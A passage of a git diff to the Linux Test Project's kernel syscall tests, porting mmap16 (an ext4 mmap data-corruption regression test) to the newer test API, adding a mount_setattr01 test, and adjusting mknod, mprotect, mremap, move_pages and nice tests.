+	.mntpoint = MNTPOINT,
+	.all_filesystems = 1,
+};
diff --git a/testcases/kernel/syscalls/mknod/mknod09.c b/testcases/kernel/syscalls/mknod/mknod09.c
index 433c962..57b9537 100644
--- a/testcases/kernel/syscalls/mknod/mknod09.c
+++ b/testcases/kernel/syscalls/mknod/mknod09.c
@@ -102,7 +102,7 @@
 
 		/* Check return code from mknod(2) */
 		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "mknod() returned %ld,"
+			tst_resm(TFAIL, "mknod() returned %ld, "
 				 "expected -1, errno=%d", TEST_RETURN,
 				 EINVAL);
 		} else {
diff --git a/testcases/kernel/syscalls/mknodat/mknodat.h b/testcases/kernel/syscalls/mknodat/mknodat.h
index b4e828c..8f3a1f0 100644
--- a/testcases/kernel/syscalls/mknodat/mknodat.h
+++ b/testcases/kernel/syscalls/mknodat/mknodat.h
@@ -28,7 +28,7 @@
 #if !defined(HAVE_MKNODAT)
 int mknodat(int dirfd, const char *filename, mode_t mode, dev_t dev)
 {
-	return ltp_syscall(__NR_mknodat, dirfd, filename, mode, dev);
+	return tst_syscall(__NR_mknodat, dirfd, filename, mode, dev);
 }
 #endif
 
diff --git a/testcases/kernel/syscalls/mknodat/mknodat01.c b/testcases/kernel/syscalls/mknodat/mknodat01.c
index 2e13c77..bff2c6a 100644
--- a/testcases/kernel/syscalls/mknodat/mknodat01.c
+++ b/testcases/kernel/syscalls/mknodat/mknodat01.c
@@ -27,7 +27,6 @@
 #define _GNU_SOURCE
 
 #include <sys/types.h>
-#include <fcntl.h>
 #include <sys/stat.h>
 #include <stdlib.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/mknodat/mknodat02.c b/testcases/kernel/syscalls/mknodat/mknodat02.c
index 6c5054b..28c5c8a 100644
--- a/testcases/kernel/syscalls/mknodat/mknodat02.c
+++ b/testcases/kernel/syscalls/mknodat/mknodat02.c
@@ -27,7 +27,6 @@
 #define _GNU_SOURCE
 
 #include <sys/types.h>
-#include <fcntl.h>
 #include <sys/stat.h>
 #include <stdlib.h>
 #include <errno.h>
@@ -164,7 +163,7 @@
 	}
 
 	if (TEST_ERRNO == 0 &&
-	    ltp_syscall(__NR_unlinkat, fd, pathname, 0) < 0) {
+	    tst_syscall(__NR_unlinkat, fd, pathname, 0) < 0) {
 		tst_brkm(TBROK | TERRNO, cleanup, "unlinkat(%d, %s) "
 			 "failed.", fd, pathname);
 	}
diff --git a/testcases/kernel/syscalls/mmap/mmap03.c b/testcases/kernel/syscalls/mmap/mmap03.c
index b957a32..9d94d26 100644
--- a/testcases/kernel/syscalls/mmap/mmap03.c
+++ b/testcases/kernel/syscalls/mmap/mmap03.c
@@ -124,7 +124,7 @@
 					 "correct");
 			}
 		}
-#if defined(__ia64__) || defined(__hppa__)
+#if defined(__ia64__) || defined(__hppa__) || defined(__mips__)
 		if (pass) {
 			tst_resm(TPASS, "Got SIGSEGV as expected");
 		} else {
diff --git a/testcases/kernel/syscalls/mmap/mmap16.c b/testcases/kernel/syscalls/mmap/mmap16.c
index 0d1fc3e..a5d041a 100644
--- a/testcases/kernel/syscalls/mmap/mmap16.c
+++ b/testcases/kernel/syscalls/mmap/mmap16.c
@@ -1,196 +1,61 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *   Copyright (c) 2015 Fujitsu Ltd.
- *   Author: Xiaoguang Wang <wangxg.fnst@cn.fujitsu.com>
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
+ * Copyright (c) 2015 Fujitsu Ltd. Xiaoguang Wang <wangxg.fnst@cn.fujitsu.com>
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-/*
- * This is a regression test for commit:
- * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/
- * commit/?id=90a8020
- * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/
- * commit/?id=d6320cb
+/*\
+ * [Description]
+ *
+ * This is a regression test for a silent data corruption for a mmaped file
+ * when filesystem gets out of space.
+ *
+ * Fixed by commits:
+ *
+ *  commit 0572639ff66dcffe62d37adfe4c4576f9fc398f4
+ *  Author: Xiaoguang Wang <wangxg.fnst@cn.fujitsu.com>
+ *  Date:   Thu Feb 12 23:00:17 2015 -0500
+ *
+ *      ext4: fix mmap data corruption in nodelalloc mode when blocksize < pagesize
+ *
+ *  commit d6320cbfc92910a3e5f10c42d98c231c98db4f60
+ *  Author: Jan Kara <jack@suse.cz>
+ *  Date:   Wed Oct 1 21:49:46 2014 -0400
+ *
+ *      ext4: fix mmap data corruption when blocksize < pagesize
  */
 
 #define _GNU_SOURCE
 
-#include <stdio.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include <sys/mount.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <time.h>
 #include <sys/mman.h>
+#include <sys/wait.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
+#define MNTPOINT "mntpoint"
+#define FILE_PARENT "mntpoint/testfilep"
+#define FILE_CHILD "mntpoint/testfilec"
+#define FS_BLOCKSIZE 1024
+#define LOOPS 10
 
-#define MNTPOINT	"mntpoint"
-#define FS_BLOCKSIZE	1024
-#define SUB_LOOPCOUNT	10
-
-static void setup(void);
-static void cleanup(void);
-static void do_child(void);
-static void do_test(void);
-
-static const char *device;
-static const char *fs_type = "ext4";
-static int mount_flag;
-static int chdir_flag;
 static int parentfd = -1;
-
-static int page_size;
-static int bug_reproduced;
-
-char *TCID = "mmap16";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
-{
-	int i, lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	/*
-	 * If child process was killed by SIGBUS, indeed that can not guarantee
-	 * this bug must have been fixed, If we're luckily enough, virtual
-	 * memory subsystem happen to decide that it is time to write dirty
-	 * pages, it will make mapped pages write-protect, so ->page_mkwrite()
-	 * still will be called, child process will be killed by SIGBUS, but
-	 * it's not because of above fixing patches. So here we run this test
-	 * 10 times, if once, child process exits normally, we can sure that
-	 * this bug is not fixed.
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < SUB_LOOPCOUNT; i++)
-			do_test();
-	}
-
-	if (bug_reproduced)
-		tst_resm(TFAIL, "Bug is reproduced!");
-	else
-		tst_resm(TPASS, "Bug is not reproduced!");
-
-	cleanup();
-	tst_exit();
-}
-
-static void do_test(void)
-{
-	int ret, status;
-	pid_t child;
-	char buf[FS_BLOCKSIZE];
-
-	SAFE_TOUCH(cleanup, "testfilep", 0644, NULL);
-	SAFE_TOUCH(cleanup, "testfilec", 0644, NULL);
-
-	child = tst_fork();
-	switch (child) {
-	case -1:
-		tst_brkm(TBROK | TERRNO, cleanup, "fork failed");
-	case 0:
-		do_child();
-	default:
-		parentfd = SAFE_OPEN(cleanup, "testfilep", O_RDWR);
-		memset(buf, 'a', FS_BLOCKSIZE);
-
-		TST_SAFE_CHECKPOINT_WAIT(cleanup, 0);
-		while (1) {
-			ret = write(parentfd, buf, FS_BLOCKSIZE);
-			if (ret < 0) {
-				if (errno == ENOSPC) {
-					break;
-				} else {
-					tst_brkm(TBROK | TERRNO, cleanup,
-						 "write failed unexpectedly");
-				}
-			}
-		}
-		SAFE_CLOSE(cleanup, parentfd);
-		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-	}
-
-	wait(&status);
-	if (WIFEXITED(status) && WEXITSTATUS(status) == 1) {
-		bug_reproduced = 1;
-	} else {
-		/*
-		 * If child process was killed by SIGBUS, bug is not reproduced.
-		 */
-		if (!WIFSIGNALED(status) || WTERMSIG(status) != SIGBUS) {
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "child process terminate unexpectedly");
-		}
-	}
-
-	SAFE_UNLINK(cleanup, "testfilep");
-	SAFE_UNLINK(cleanup, "testfilec");
-}
-
-static void setup(void)
-{
-	const char *fs_opts[3] = {"-b", "1024", NULL};
-	const char *extra_opts[] = {"10240", NULL};
-
-	tst_sig(FORK, DEF_HANDLER, NULL);
-	tst_require_root();
-
-	TEST_PAUSE;
-	tst_tmpdir();
-
-	TST_CHECKPOINT_INIT(tst_rmdir);
-
-	page_size = getpagesize();
-
-	device = tst_acquire_device(cleanup);
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-	tst_mkfs(cleanup, device, fs_type, fs_opts, extra_opts);
-
-	SAFE_MKDIR(cleanup, MNTPOINT, 0755);
-	/*
-	 * Disable ext4 delalloc feature, so block will be allocated
-	 * as soon as possible
-	 */
-	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, 0, "nodelalloc");
-	mount_flag = 1;
-
-	SAFE_CHDIR(cleanup, MNTPOINT);
-	chdir_flag = 1;
-
-}
+static int childfd = -1;
 
 static void do_child(void)
 {
-	int fd, offset;
+	int offset;
+	int page_size;
 	char buf[FS_BLOCKSIZE];
 	char *addr = NULL;
 
-	/*
-	 * We have changed SIGBUS' handler in parent process by calling
-	 * tst_sig(FORK, DEF_HANDLER, NULL), so here just restore it.
-	 */
-	if (signal(SIGBUS, SIG_DFL) == SIG_ERR)
-		tst_brkm(TBROK | TERRNO, NULL, "signal(SIGBUS) failed");
+	page_size = getpagesize();
+
+	childfd = SAFE_OPEN(FILE_CHILD, O_RDWR | O_CREAT, 0666);
 
 	memset(buf, 'a', FS_BLOCKSIZE);
-	fd = SAFE_OPEN(NULL, "testfilec", O_RDWR);
-	SAFE_WRITE(NULL, 1, fd, buf, FS_BLOCKSIZE);
+	SAFE_WRITE(1, childfd, buf, FS_BLOCKSIZE);
 
 	/*
 	 * In case mremap() may fail because that memory area can not be
@@ -198,19 +63,19 @@
 	 * we first do a mmap(page_size * 2) operation to reserve some
 	 * free address space.
 	 */
-	addr = SAFE_MMAP(NULL, NULL, page_size * 2, PROT_WRITE | PROT_READ,
-			 MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, -1, 0);
-	SAFE_MUNMAP(NULL, addr, page_size * 2);
+	addr = SAFE_MMAP(NULL, page_size * 2, PROT_WRITE | PROT_READ,
+			 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+	SAFE_MUNMAP(addr, page_size * 2);
 
-	addr = SAFE_MMAP(NULL, addr, FS_BLOCKSIZE, PROT_WRITE | PROT_READ,
-			 MAP_SHARED, fd, 0);
+	addr = SAFE_MMAP(addr, FS_BLOCKSIZE, PROT_WRITE | PROT_READ, MAP_SHARED, childfd, 0);
 
 	addr[0] = 'a';
 
-	SAFE_FTRUNCATE(NULL, fd, page_size * 2);
+	SAFE_FTRUNCATE(childfd, page_size * 2);
+
 	addr = mremap(addr, FS_BLOCKSIZE, 2 * page_size, 0);
 	if (addr == MAP_FAILED)
-		tst_brkm(TBROK | TERRNO, NULL, "mremap failed unexpectedly");
+		tst_brk(TBROK | TERRNO, "mremap failed unexpectedly");
 
 	/*
 	 * Let parent process consume FS free blocks as many as possible, then
@@ -220,26 +85,114 @@
 	 * if not, the data 'A', 'B', 'C' will be silently discarded later when
 	 * kernel writepage is called, that means data corruption.
 	 */
-	TST_SAFE_CHECKPOINT_WAKE(NULL, 0);
-	TST_SAFE_CHECKPOINT_WAIT2(NULL, 0, 60*1000);
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
 	for (offset = FS_BLOCKSIZE; offset < page_size; offset += FS_BLOCKSIZE)
 		addr[offset] = 'a';
 
-	SAFE_MUNMAP(NULL, addr, 2 * page_size);
-	SAFE_CLOSE(NULL, fd);
-	exit(TFAIL);
+	SAFE_MUNMAP(addr, 2 * page_size);
+	SAFE_CLOSE(childfd);
+
+	exit(1);
+}
+
+static void run_single(void)
+{
+	int ret, status;
+	pid_t child;
+	char buf[FS_BLOCKSIZE];
+	int bug_reproduced = 0;
+
+	child = SAFE_FORK();
+	if (!child) {
+		do_child();
+		return;
+	}
+
+	parentfd = SAFE_OPEN(FILE_PARENT, O_RDWR | O_CREAT, 0666);
+
+	memset(buf, 'a', FS_BLOCKSIZE);
+
+	TST_CHECKPOINT_WAIT(0);
+
+	while (1) {
+		ret = write(parentfd, buf, FS_BLOCKSIZE);
+		if (ret < 0) {
+			if (errno == ENOSPC)
+				break;
+
+			tst_brk(TBROK | TERRNO, "write failed unexpectedly");
+		}
+	}
+
+	SAFE_CLOSE(parentfd);
+
+	TST_CHECKPOINT_WAKE(0);
+
+	SAFE_WAITPID(child, &status, 0);
+	if (WIFEXITED(status) && WEXITSTATUS(status) == 1) {
+		bug_reproduced = 1;
+	} else {
+		/*
+		 * If child process was killed by SIGBUS, bug is not reproduced.
+		 */
+		if (!WIFSIGNALED(status) || WTERMSIG(status) != SIGBUS) {
+			tst_brk(TBROK | TERRNO, "child process terminate unexpectedly with status %s",
+				tst_strstatus(status));
+		}
+	}
+
+	SAFE_UNLINK(FILE_PARENT);
+	SAFE_UNLINK(FILE_CHILD);
+
+	if (bug_reproduced)
+		tst_res(TFAIL, "bug is reproduced");
+	else
+		tst_res(TPASS, "bug is not reproduced");
+}
+
+static void run(void)
+{
+	int i;
+
+	for (i = 0; i < LOOPS; i++)
+		run_single();
 }
 
 static void cleanup(void)
 {
+	if (childfd >= 0)
+		SAFE_CLOSE(childfd);
+
 	if (parentfd >= 0)
-		close(parentfd);
-	if (chdir_flag && chdir(".."))
-		tst_resm(TWARN | TERRNO, "chdir('..') failed");
-	if (mount_flag && tst_umount(MNTPOINT) < 0)
-		tst_resm(TWARN | TERRNO, "umount device:%s failed", device);
-	if (device)
-		tst_release_device(device);
-	tst_rmdir();
+		SAFE_CLOSE(parentfd);
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = cleanup,
+	.forks_child = 1,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.dev_fs_type = "ext4",
+	.dev_fs_opts = (const char *const[]){
+		"-b",
+		"1024",
+		NULL,
+	},
+	.dev_extra_opts = (const char *const[]){
+		"10240",
+		NULL,
+	},
+	.needs_cmds = (const char *const[]){
+		"mkfs.ext4",
+		NULL,
+	},
+	.tags = (const struct tst_tag[]){
+		{"linux-git", "d6320cbfc929"},
+		{"linux-git", "0572639ff66d"},
+		{},
+	},
+};
diff --git a/testcases/kernel/syscalls/mmap/mmap18.c b/testcases/kernel/syscalls/mmap/mmap18.c
index dc29264..b37b298 100644
--- a/testcases/kernel/syscalls/mmap/mmap18.c
+++ b/testcases/kernel/syscalls/mmap/mmap18.c
@@ -200,11 +200,12 @@
 
 static void run_test(void)
 {
-	size_t stack_size = 8 * PTHREAD_STACK_MIN;
+	size_t pthread_stack = LTP_ALIGN(PTHREAD_STACK_MIN, getpagesize());
+	size_t stack_size = 8 * pthread_stack;
 
-	grow_stack_success(stack_size, PTHREAD_STACK_MIN);
+	grow_stack_success(stack_size, pthread_stack);
 	grow_stack_success(stack_size, stack_size/2);
-	grow_stack_fail(stack_size, PTHREAD_STACK_MIN);
+	grow_stack_fail(stack_size, pthread_stack);
 	grow_stack_fail(stack_size, stack_size/2);
 }
 
diff --git a/testcases/kernel/syscalls/mount_setattr/.gitignore b/testcases/kernel/syscalls/mount_setattr/.gitignore
new file mode 100644
index 0000000..52a77b9
--- /dev/null
+++ b/testcases/kernel/syscalls/mount_setattr/.gitignore
@@ -0,0 +1 @@
+/mount_setattr01
diff --git a/testcases/kernel/syscalls/mount_setattr/Makefile b/testcases/kernel/syscalls/mount_setattr/Makefile
new file mode 100644
index 0000000..5ea7d67
--- /dev/null
+++ b/testcases/kernel/syscalls/mount_setattr/Makefile
@@ -0,0 +1,6 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/mount_setattr/mount_setattr01.c b/testcases/kernel/syscalls/mount_setattr/mount_setattr01.c
new file mode 100644
index 0000000..83746b8
--- /dev/null
+++ b/testcases/kernel/syscalls/mount_setattr/mount_setattr01.c
@@ -0,0 +1,134 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+ * Author: Dai Shili <daisl.fnst@fujitsu.com>
+ * Author: Chen Hanxiao <chenhx.fnst@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Basic mount_setattr() test.
+ * Test whether the basic mount attributes are set correctly.
+ *
+ * Verify some MOUNT_SETATTR(2) attributes:
+ *
+ * - MOUNT_ATTR_RDONLY - makes the mount read-only
+ * - MOUNT_ATTR_NOSUID - causes the mount not to honor the
+ *   set-user-ID and set-group-ID mode bits and file capabilities
+ *   when executing programs.
+ * - MOUNT_ATTR_NODEV - prevents access to devices on this mount
+ * - MOUNT_ATTR_NOEXEC - prevents executing programs on this mount
+ * - MOUNT_ATTR_NOSYMFOLLOW - prevents following symbolic links
+ *   on this mount
+ * - MOUNT_ATTR_NODIRATIME - prevents updating access time for
+ *   directories on this mount
+ *
+ * The functionality was added in v5.12.
+ */
+
+#define _GNU_SOURCE
+
+#include <sys/statvfs.h>
+#include "tst_test.h"
+#include "lapi/fsmount.h"
+#include "lapi/stat.h"
+
+#define MNTPOINT        "mntpoint"
+#define OT_MNTPOINT     "ot_mntpoint"
+#define TCASE_ENTRY(attrs, exp_attrs)   \
+	{                                \
+		.name = #attrs,                 \
+		.mount_attrs = attrs,           \
+		.expect_attrs = exp_attrs       \
+	}
+
+static int mount_flag, otfd = -1;
+
+static struct tcase {
+	char *name;
+	unsigned int mount_attrs;
+	unsigned int expect_attrs;
+} tcases[] = {
+	TCASE_ENTRY(MOUNT_ATTR_RDONLY, ST_RDONLY),
+	TCASE_ENTRY(MOUNT_ATTR_NOSUID, ST_NOSUID),
+	TCASE_ENTRY(MOUNT_ATTR_NODEV, ST_NODEV),
+	TCASE_ENTRY(MOUNT_ATTR_NOEXEC, ST_NOEXEC),
+	TCASE_ENTRY(MOUNT_ATTR_NOSYMFOLLOW, ST_NOSYMFOLLOW),
+	TCASE_ENTRY(MOUNT_ATTR_NODIRATIME, ST_NODIRATIME),
+};
+
+static void cleanup(void)
+{
+	if (otfd > -1)
+		SAFE_CLOSE(otfd);
+	if (mount_flag)
+		SAFE_UMOUNT(OT_MNTPOINT);
+}
+
+static void setup(void)
+{
+	fsopen_supported_by_kernel();
+	struct stat st = {0};
+
+	if (stat(OT_MNTPOINT, &st) == -1)
+		SAFE_MKDIR(OT_MNTPOINT, 0777);
+}
+
+static void run(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	struct mount_attr attr = {
+		.attr_set = tc->mount_attrs,
+	};
+	struct statvfs buf;
+
+	TST_EXP_FD_SILENT(open_tree(AT_FDCWD, MNTPOINT, AT_EMPTY_PATH |
+		AT_SYMLINK_NOFOLLOW | OPEN_TREE_CLOEXEC | OPEN_TREE_CLONE));
+	if (!TST_PASS)
+		return;
+
+	otfd = (int)TST_RET;
+
+	TST_EXP_PASS_SILENT(mount_setattr(otfd, "", AT_EMPTY_PATH, &attr, sizeof(attr)),
+		"%s set", tc->name);
+	if (!TST_PASS)
+		goto out1;
+
+	TST_EXP_PASS_SILENT(move_mount(otfd, "", AT_FDCWD, OT_MNTPOINT, MOVE_MOUNT_F_EMPTY_PATH));
+	if (!TST_PASS)
+		goto out1;
+	mount_flag = 1;
+	SAFE_CLOSE(otfd);
+
+	TST_EXP_PASS_SILENT(statvfs(OT_MNTPOINT, &buf), "statvfs sucess");
+	if (!TST_PASS)
+		goto out2;
+
+	if (buf.f_flag & tc->expect_attrs)
+		tst_res(TPASS, "%s is actually set as expected", tc->name);
+	else
+		tst_res(TFAIL, "%s is not actually set as expected", tc->name);
+
+	goto out2;
+
+out1:
+	SAFE_CLOSE(otfd);
+out2:
+	if (mount_flag)
+		SAFE_UMOUNT(OT_MNTPOINT);
+
+	mount_flag = 0;
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.all_filesystems = 1,
+	.skip_filesystems = (const char *const []){"fuse", NULL},
+};
diff --git a/testcases/kernel/syscalls/move_pages/move_pages12.c b/testcases/kernel/syscalls/move_pages/move_pages12.c
index 220130f..df55bbb 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages12.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages12.c
@@ -153,7 +153,6 @@
 	void *ptr;
 	pid_t cpid = -1;
 	int status;
-	unsigned int twenty_percent = (tst_timeout_remaining() / 5);
 
 	addr = SAFE_MMAP(NULL, tcases[n].tpages * hpsz, PROT_READ | PROT_WRITE,
 		MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
@@ -198,7 +197,7 @@
 
 		SAFE_MUNMAP(addr, tcases[n].tpages * hpsz);
 
-		if (tst_timeout_remaining() < twenty_percent)
+		if (!tst_remaining_runtime())
 			break;
 	}
 
@@ -341,6 +340,7 @@
 	.cleanup = cleanup,
 	.test = do_test,
 	.tcnt = ARRAY_SIZE(tcases),
+	.max_runtime = 240,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "e66f17ff7177"},
 		{"linux-git", "c9d398fa2378"},
diff --git a/testcases/kernel/syscalls/mprotect/mprotect01.c b/testcases/kernel/syscalls/mprotect/mprotect01.c
index be4d982..aa46852 100644
--- a/testcases/kernel/syscalls/mprotect/mprotect01.c
+++ b/testcases/kernel/syscalls/mprotect/mprotect01.c
@@ -43,6 +43,7 @@
 #include <stdlib.h>
 #include <unistd.h>
 #include "test.h"
+#include "lapi/syscalls.h"
 #include "safe_macros.h"
 
 char *TCID = "mprotect01";
@@ -97,7 +98,7 @@
 			if (TC[i].setupfunc != NULL)
 				TC[i].setupfunc(&TC[i]);
 
-			TEST(mprotect(TC[i].addr, TC[i].len, TC[i].prot));
+			TEST(tst_syscall(__NR_mprotect, TC[i].addr, TC[i].len, TC[i].prot));
 
 			if (TEST_RETURN != -1) {
 				tst_resm(TFAIL, "call succeeded unexpectedly");
diff --git a/testcases/kernel/syscalls/mprotect/mprotect02.c b/testcases/kernel/syscalls/mprotect/mprotect02.c
index de9b4ea..a79c194 100644
--- a/testcases/kernel/syscalls/mprotect/mprotect02.c
+++ b/testcases/kernel/syscalls/mprotect/mprotect02.c
@@ -60,7 +60,7 @@
 	int lc;
 
 	int bytes_to_write, fd;
-	unsigned int num_bytes;
+	size_t num_bytes;
 	pid_t pid;
 
 	tst_parse_opts(ac, av, NULL, NULL);
diff --git a/testcases/kernel/syscalls/mremap/mremap05.c b/testcases/kernel/syscalls/mremap/mremap05.c
index 5e8cda5..d85ebb0 100644
--- a/testcases/kernel/syscalls/mremap/mremap05.c
+++ b/testcases/kernel/syscalls/mremap/mremap05.c
@@ -45,8 +45,6 @@
 
 char *TCID = "mremap05";
 
-#ifdef HAVE_MREMAP_FIXED
-
 struct test_case_t {
 	char *old_address;
 	char *new_address;
@@ -239,12 +237,3 @@
 static void cleanup(void)
 {
 }
-
-#else
-
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "MREMAP_FIXED not present in <sys/mman.h>");
-}
-
-#endif /* HAVE_MREMAP_FIXED */
diff --git a/testcases/kernel/syscalls/newuname/newuname01.c b/testcases/kernel/syscalls/newuname/newuname01.c
index ebf2fcc..2b9349e 100644
--- a/testcases/kernel/syscalls/newuname/newuname01.c
+++ b/testcases/kernel/syscalls/newuname/newuname01.c
@@ -115,7 +115,7 @@
 	for (lc = 0; TEST_LOOPING(lc); ++lc) {
 		tst_count = 0;
 		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			TEST(ltp_syscall(__NR_uname, &name));
+			TEST(tst_syscall(__NR_uname, &name));
 			if (TEST_RETURN == -1) {
 				tst_brkm(TFAIL, cleanup, "%s failed - errno = %d : %s",
 					 TCID, TEST_ERRNO,
diff --git a/testcases/kernel/syscalls/nice/nice01.c b/testcases/kernel/syscalls/nice/nice01.c
index aee5ea0..8762461 100644
--- a/testcases/kernel/syscalls/nice/nice01.c
+++ b/testcases/kernel/syscalls/nice/nice01.c
@@ -5,10 +5,12 @@
  * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
  */
 
-/*
- *  Verify that root can provide a negative value to nice()
- *  and hence root can decrease the nice value of the process
- *  using nice() system call
+/*\
+ * [Description]
+ *
+ * Verify that root can provide a negative value to nice()
+ * and hence root can decrease the nice value of the process
+ * using nice() system call
  */
 #include <unistd.h>
 #include <errno.h>
@@ -16,19 +18,23 @@
 #include "tst_test.h"
 
 #define	NICEINC		-12
+#define MIN_PRIO	-20
 
 static void verify_nice(void)
 {
 	int new_nice;
 	int orig_nice;
+	int exp_nice;
 
 	orig_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0);
 
 	TEST(nice(NICEINC));
 
-	if (TST_RET != (orig_nice + NICEINC)) {
+	exp_nice = MAX(MIN_PRIO, (orig_nice + NICEINC));
+
+	if (TST_RET != exp_nice) {
 		tst_res(TFAIL | TTERRNO, "nice(%d) returned %li, expected %i",
-			NICEINC, TST_RET, orig_nice + NICEINC);
+			NICEINC, TST_RET, exp_nice);
 		return;
 	}
 
@@ -39,9 +45,9 @@
 
 	new_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0);
 
-	if (new_nice != (orig_nice + NICEINC)) {
+	if (new_nice != exp_nice) {
 		tst_res(TFAIL, "Process priority %i, expected %i",
-		        new_nice, orig_nice + NICEINC);
+				new_nice, orig_nice + NICEINC);
 		return;
 	}
 
@@ -49,7 +55,7 @@
 
 	TEST(nice(-NICEINC));
 	if (TST_ERR)
-		tst_brk(TBROK | TTERRNO, "nice(-NICEINC) failed");
+		tst_brk(TBROK | TTERRNO, "nice(%d) failed", -NICEINC);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/nice/nice02.c b/testcases/kernel/syscalls/nice/nice02.c
index 0363010..b08e1d7 100644
--- a/testcases/kernel/syscalls/nice/nice02.c
+++ b/testcases/kernel/syscalls/nice/nice02.c
@@ -4,10 +4,13 @@
  * Ported to LTP: Wayne Boyer
  * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
  */
-/*
- *  Verify that any user can successfully increase the nice value of
- *  the process by passing a higher increment value (> max. applicable limits)
- *  to nice() system call.
+
+/*\
+ * [Description]
+ *
+ * Verify that any user can successfully increase the nice value of
+ * the process by passing a higher increment value (> max. applicable limits)
+ * to nice() system call.
  */
 #include <unistd.h>
 #include <errno.h>
@@ -47,7 +50,7 @@
 
 	TEST(nice(DEFAULT_PRIO));
 	if (TST_ERR)
-		tst_brk(TBROK | TTERRNO, "nice(-NICEINC) failed");
+		tst_brk(TBROK | TTERRNO, "nice(%d) failed", DEFAULT_PRIO);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/nice/nice03.c b/testcases/kernel/syscalls/nice/nice03.c
index 6047dd4..061592e 100644
--- a/testcases/kernel/syscalls/nice/nice03.c
+++ b/testcases/kernel/syscalls/nice/nice03.c
@@ -4,10 +4,13 @@
  * Ported to LTP: Wayne Boyer
  * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
  */
-/*
- *  Verify that any user can successfully increase the nice value of
- *  the process by passing an increment value (< max. applicable limits) to
- *  nice() system call.
+
+/*\
+ * [Description]
+ *
+ * Verify that any user can successfully increase the nice value of
+ * the process by passing an increment value (< max. applicable limits) to
+ * nice() system call.
  */
 #include <unistd.h>
 #include <stdlib.h>
@@ -16,11 +19,13 @@
 #include "tst_test.h"
 
 #define	NICEINC	2
+#define MAX_PRIO 19
 
 static void nice_test(void)
 {
 	int new_nice;
 	int orig_nice;
+	int exp_nice;
 
 	orig_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0);
 
@@ -37,10 +42,11 @@
 	}
 
 	new_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0);
+	exp_nice = MIN(MAX_PRIO, (orig_nice + NICEINC));
 
-	if (new_nice != (orig_nice + NICEINC)) {
+	if (new_nice != exp_nice) {
 		tst_res(TFAIL, "Process priority %i, expected %i",
-		        new_nice, orig_nice + NICEINC);
+				new_nice, exp_nice);
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/nice/nice04.c b/testcases/kernel/syscalls/nice/nice04.c
index 1d64311..ac15600 100644
--- a/testcases/kernel/syscalls/nice/nice04.c
+++ b/testcases/kernel/syscalls/nice/nice04.c
@@ -4,9 +4,12 @@
  * Ported to LTP: Wayne Boyer
  * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
  */
-/*
- *  Verify that, nice(2) fails when, a non-root user attempts to increase
- *  the priority of a process by specifying a negative increment value.
+
+/*\
+ * [Description]
+ *
+ * Verify that, nice(2) fails when, a non-root user attempts to increase
+ * the priority of a process by specifying a negative increment value.
  */
 #include <pwd.h>
 #include <unistd.h>
diff --git a/testcases/kernel/syscalls/open/.gitignore b/testcases/kernel/syscalls/open/.gitignore
index 4309e3a..001d874 100644
--- a/testcases/kernel/syscalls/open/.gitignore
+++ b/testcases/kernel/syscalls/open/.gitignore
@@ -2,7 +2,6 @@
 /open02
 /open03
 /open04
-/open05
 /open06
 /open07
 /open08
